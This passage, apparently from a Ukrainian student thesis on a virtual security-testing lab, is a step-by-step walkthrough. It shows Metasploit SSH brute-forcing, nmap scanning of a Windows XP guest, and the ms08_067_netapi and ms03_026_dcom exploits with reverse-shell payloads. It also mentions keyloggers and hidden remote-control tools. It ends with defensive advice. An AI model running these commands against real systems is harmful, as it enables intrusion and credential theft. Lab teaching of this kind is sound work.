- •Анотація
- •Перелік умовних позначень
- •Розділ 1. Встановлення віртуальних тестових машин
- •Історія
- •Ключові можливості
- •Поточний стан
- •Категорії
- •Установка BackTrack
- •Р ис. 2. Загальний вигляд BackTrack 5 r3.
- •Коротко про ос
- •Встановлення FreeBsd
- •Налаштування спільних папок
- •Висновок до Розділу 1
- •Розділ 2. Встановлення віртуального тестового сервера
- •Установка Apache 2
- •Установка php 5
- •Установка MySql і його модулів для php 5
- •Форвард портів на маршрутизаторах tp-link
- •Резервування адреси
- •Зміна порту веб-управління маршрутизатором
- •Перекидування порту / Відкриття порту
- •Віддалене керування сервером
- •Р ис. 23. Створення облікового запису.
- •Р ис. 27. Монтування на клієнті.
- •Висновок до Розділу 2
- •Розділ 3. Тестування на надійність в середовищі віртуальної тестової лабораторії Тестування веб-сервера
- •Плагіни
- •Установка програми
- •Використання
- •Робота з веб-інтерфейсом
- •Тестування надійності засобів віддаленого управління
- •Тестування надійності ос, що встановлені у віртуальному тестовому середовищі
- •Використання вразливості xss
- •Висновок до Розділу 3.
- •Висновок
- •Список використаних джерел
Тестування надійності засобів віддаленого управління
Перш за все, доцільно протестувати головний метод віддаленого управління, а саме ssh. Ssh шифрується за допомогою алгоритму шифрування rsa, тому про злам самого алгоритму мова не йде. Проте, як і будь-який інший, даний алгоритм вразливий до «брутфорс»-атаки. Наявність слабкого ключа – гарант успішної атаки на ssh.
Для практичної демонстрації злому, використано засоби програми Metasploit.
ssh_version
Дізнатись коректну версію ssh, що встановлено на сервері потрібно, щоб збільшити шанс успіху.
Щоб викликати цей допоміжний модуль використано наступну команду:
Use auxiliary/scanner/ssh/ssh_version
Достатньо вказати цільовий діапазон адрес в "Rhosts". "Rhosts" може бути унікальним IP-адресом, IP-адресом в діапазоні (наприклад: 192.168.1.0-192.168.1.255 або 192.168.1.0/24) або файлом (наприклад: /tmp/ip_addresses.txt).
Рис. 41. Версія ssh.
ssh_login
Після отримання версії ssh, що працює на стороні сервера, функціонал зловмисника зростає. Для прикладу, можна скористатись модулем ssh_login. Відмінною рисою модуля є одночасний перебір по логіну та паролю. Звісно це сильно збільшує час перебору, проте, якщо відомо імена кількох користувачів – час перебору зменшиться.
Щоб викликати цей допоміжний модуль просто введіть наступну команду:
Use auxiliary/scanner/ssh/ssh_login
Цей модуль намагається перевірити відповідність за допомогою SSH на сервері з використанням імені користувача та пароля, зазначені в "USER_FILE", "PASS_FILE" і "USERPASS_FILE". В Metasploit забезпечено файли для "USER_FILE" (/opt/metasploit3/msf3/data/wordlists/unix_users.txt) і "PASS_FILE" (/opt/metasploit3/msf3/data/wordlists/unix_passwords.txt). Також можна використовувати SkullSecurity список паролів, або свій власний список.
Кожен успішний злом автоматично створить нову сесію.
Рис. 42. Опції.
Допустимі спроби входу відображаються зеленим кольором, невдалі забарвлено в червоний.
Рис. 43. Процес перебору.
Рис. 44. Створення активної сесії.
Тестування надійності ос, що встановлені у віртуальному тестовому середовищі
Додатковою особливістю віртуальної тестової лабораторії є її універсальність. Тестування може здійснюватися не тільки щодо веб-серверів, чи поштових-серверів, ігрових, ftp і т.п. Система дозволяє тестувати на проникнення будь-який пристрій, що має вихід в Інтернет. Хорошим прикладом універсальності лабораторії є тестування на проникнення різних операційних система персонального використання, як наприклад Windows.
Metasploit
Створений компанією Rapid7 у 2003 році. Поставляється для Linux та Windows. Що цікаво, так це ліцензія на програму – BSD, тобто безплатна з можливістю додання змін у вихідний код програми. Саме BSD дала великий поштовх у розвиток Metasploit, тому база програми розширюється з кожним роком сотнями ентузіастів у сфері ІБ, як зловмисниками так і спеціалістами.
Metasploit насамперед модульна, експлойти та "начинки" до них можна як скачати окремо, по мірі їх необхідності, або створити самому.
Експлойти – це програми, які використовують вразливості системи. Для кожної вразливості потрібен свій експлойт.
"Начинка" (payload) – вектор, в якому буде здійснено злом. Іншими словами, тоді як експлойт це використання вразливості, то "начинка" – вказує як саме використати вразливість.
сканування жертви на предмет відкритих портів
пошук експлойтів відповідно до знайдених вразливостей
застосування експлойтів, "начинок"
доступ до командного рядка жертви
Перед початком потрібно провірити, що кожна з машин бачить одна одну.
Зробити це можна командою "ping х.х.х.х" (де х.х.х.х відповідний IP адрес).
Для визначення ip-адреса в windows команда "ipconfig" (команди вводяться в командний рядок cmd.exe). Відповідно в Ubuntu команда "ifconfig" (вводиться в терміналі).
На домашній системі (хостовій) встановлено програму nmap.
Nmap – це сканер вразливостей та відкритих портів. За його допомогою можна дізнатись про вразливості майже будь-якого комп’ютера, якщо той знаходиться в мережі інтернет та має зовнішній IP-адрес. Його особливістю є те, що в 80% жертва не буде знати що її було проскановано.
Nmap – кроссплатформений, а також безплатний, його особливістю є його дуже широкий функціонал, висока швидкість роботи, а також компактний розмір (як пакету інсталяції так і в оперативній пам’яті при його роботі).
Сканування здійснювалось з хостової машини, командою nmap з параметром -А, що дало більш агресивне та повне сканування.
Загалом команда nmap -A 192.168.0.102 дала такий результат:
Рис. 45. Результат сканування за допомогою Nmap.
135/tcp open msrpc Microsoft Windows RPC ; 139/tcp open netbios-ssn ; 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds ; 2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP) - це порти, найбільш потрібними є 135 та 445.
Конкретно порти 135 та 445 є системними, через які можна завдяки певним маніпуляціям, повисити собі права, до системних. І саме ці порти відкриті про що свідчить параметр open.
Крім того вдалось просканувати та дізнатись тип операційної системи, унікальну MAC-адресу комп’ютера, робочу групу, ім’я комп’ютера та навіть годину. Це далеко не всі можливості Nmap, але в контексті даної роботи не вистачать перерахувати всіх можливостей цього сканера.
Відкриті порти свідчать про те, що на системі-жертві відключений Брандмауер, основна задача якого саме фільтрувати трафік, закриваючи відповідні порти. Також з цією задачею може справитись антивірус.
Після успішного сканування, командою msfupdate оновлено базу даних Metasploit на BackTrack, для пошуку можливих експлойтів, які б підійшли до цих портів. Оновити базу виявилось легко, адже все відбувалось в автоматичному режимі.
Запуск Metasloit через команду msfconsole, тобто в консольному режимі. Графічний інтерфейс у Metasloit є, але через недостатню потужність комп’ютера (три операційні системи працюють паралельно одна одній одночасно), вирішено скористатись консоллю.
Після запуску msfconsole, комп’ютер складав базу. Показником нормальної роботи програми є вивід "msf >" - тобто відтепер звернення відбувається не від свого імені, а від імені програми.
Знайшовши в інтернеті, що для цих портів найкраще застосовувати експлойти з netapi.
"search netapi" – пошук по базі всіх експлойтів дав декілька результатів, серед який був один з тегом "great", що означає велику ймовірність успіху.
Наступним кроком було підключення цього експлойта командою
"use exploit/windows/smb/ms08_067_netapi".
"show options" переконався, що хоча б один з відкритих портів підтримується.
Встановив RHOST, тобто вказав адрес жертви,
"set RHOST 192.168.0.102"
"set PAYLOAD windows/shell/reverse_tcp" – задав "начинку".
Тут доступна велика кількість варіантів, але обрано shell, для доступу до "оболонки" Windows. Як варіант можна було використати
"set payload windows/meterpreter/reverse_tcp"
"set LHOST 192.168.0.100" – закріплення, тобто вказано звідки буде здійснено атаку, та де "висітиме" експлойт.
"exploit" – запустити процес злому. Після чого все відбувається в автоматичному режимі, і залишається лише чекати та надіятись на успіх.
При першій спробі, доступ отримати не вдалось, натомість було отримано ще більше даних про жертву.
[*] Started reverse handler on 192.168.0.100:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Russian
[*] Selected Target: Windows XP SP3 Russian (NX)
[*] Attempting to trigger the vulnerability...
Дізнавшись, яка мова стоїть на комп’ютері, можна дещо збільшити шанси на успіх.
"show targets" – список можливих жертв, знайшовши у списку XP3 з російською мовою, задав цей параметр
"set target 60" (60 номер за списком)
Підтвердженням, того що процедура злому успішна, була зміна msf> на C:/(імя користувача)
Рис. 46. Успішний злом.
Потрапивши у систему, зловмисник вільний робити все. При бажані можна було б навіть форматувати жорсткий диск.
Найчастіший розвиток подій в такій ситуації, внесення змін у реєстр Windows, для подальшого "тихого" встановлення програми, типу Radmin, VNC, для віддаленого керування комп’ютером, використовуючи графічний інтерфейс, або становлення невидимих кейлоггерів для крадіжки паролів. Варіантів багато.
Оскільки кількість експлойтів є дуже великою, весь процес можна здійснити по іншому: все залежить від того, які саме цілі переслідуються. Для прикладу можна було скористатись наступними командами
search dcom
use exploit/windows/dcerpc/ms03_026_dcom
set RHOST
PAYLOAD generic/shell_reverse_tcp
set LHOST
Тобто в разі неможливості здійснення проникнення в систему одним методом, можна використати інший, комбінуючи різні експлойти та «начинки».
Єдиним дієвим методом протидії є ввімнення фаєрволу, встановлення антивірусу, оновлення ПЗ. Справа в тім, що фаєрвол закриває ті порти, як не виготовується. Деякі антивіруси також мають таку можливість. Також антивіруси не дозволять відбуватись підозрілій активності без відома користувача. Оновлення ПЗ природнім чином усуває вразливість, оскільки вона викликана невірним написанням коду програми (ОС), що при оновленні виправляється розколинками.
